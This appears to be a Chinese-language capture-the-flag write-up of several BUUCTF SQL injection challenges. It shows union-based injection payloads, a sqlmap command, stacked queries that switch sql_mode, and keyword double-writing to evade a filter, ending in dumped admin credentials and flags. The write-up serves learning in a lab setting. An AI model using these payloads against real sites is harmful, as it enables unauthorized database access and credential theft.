文章目录
BUU SQL COURSE 1
找了一圈也没找到注入点,一开始以为是在登录框,一顿操作发现什么也没有
(然后去搜了一下wp…)
在network那找到注入点
访问一下
?id=1 and 1=1
和id=1 and 1=2
测试一下被执行了,可以在这注
order by查字段数有2个字段
查显错位?id=-1 union select 111,222
查库名,把其中一个显错位换成database()
看到库名是news,然而并不一定只有一个库,还是用sqlmap把所有库都爆出来
python sqlmap.py -u "http://816528be-67a3-481a-8c1e-6260dcab0f8d.node4.buuoj.cn:81/backend/content_detail.php?id=-1" --dbs
–dbs:查询所有数据库
当然也可以手工注入获取所有库名,用mysql的函数group_concat()
连接所有字段(库名),把所有库名连接成一个字段在一个显错位上输出
?id=-1 union select 111,group_concat(schema_name) from information_schema.schemata
,就是行转列,把所有相同的行连接
(之前写的出了点问题,重新写了一些,靶机不一样了)
结果与sqlmap得到的一样
再用 --tables
查表
除了mysql自带的就是这些
看了一下字段
结合这个题目,应该是admin表中的password和username
然后就可以直接查询得到
?id=-1 union select 111,concat(username," ",password) from admin
{“title”:“111”,“content”:“admin 789ff02d88ae2745271ff3ea379de13a”}
flag{7fa1f656-2ac1-4316-92d5-c01abf699ad9}
[极客大挑战 2019]EasySQL
先试一下万能密码(不知道是什么闭合,先写个看看
就万能密码,没了()
[SUCTF 2019]EasySQL
emmmmmm…这啥(bushi
用堆叠注入123;show databases;
堆叠注入:将语句堆叠到一起查询,(就是用分号分隔可以执行多条sql语句),这里执行完123之后又执行了show databases,不过有条件限制,php中mysqli_multi_query()函数可以使用,其他的函数可能会被限制
继续123;show tables;
继续123;show columns from Flag;
这里就不行了
看了wp,写那份wp看了别人的wp,
根据输入数字返回1 输入0和字母返回0,大佬猜想执行方式是
select $_POST[query]||flag from Flag
这里的或,如果前一个操作数为真就不会考虑后面的
可以通过补充系统变量@@sql_modesql_mode(一组mysql支持的基本语法及校验规则)
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符
于是就可以123;set sql_mode=pipes_as_concat;select 1
(这里123太长了
也可以用*,1
,*被过滤了(并不很明白后面那个1
[极客大挑战 2019]BabySQL
这次是加了过滤的
先试一下上次的
不行了
看看过滤了什么
这里被执行了,说明可以双写绕过
发现这样绕过不行,不过这里只过滤了or,可以用or和order拼
还要注释掉后面的闭合
现在显示正常了
order by 4 时报错,有3个字段
union select看一下显错位1' ununionion seselectlect 111,222,333 -- ww3
库名geek
1' ununionion seselectlect 111,222,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()) -- ww3
表名'b4bsql,geekuser'
推测在geekuser里(然而并不在)
1' ununionion seselectlect 111,222,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql') -- ww3
(selselectect group_concat(username," : ",passwoorrd) frfromom b4bsql)
(password里面也有个or。。。
//用group_concat会方便很多()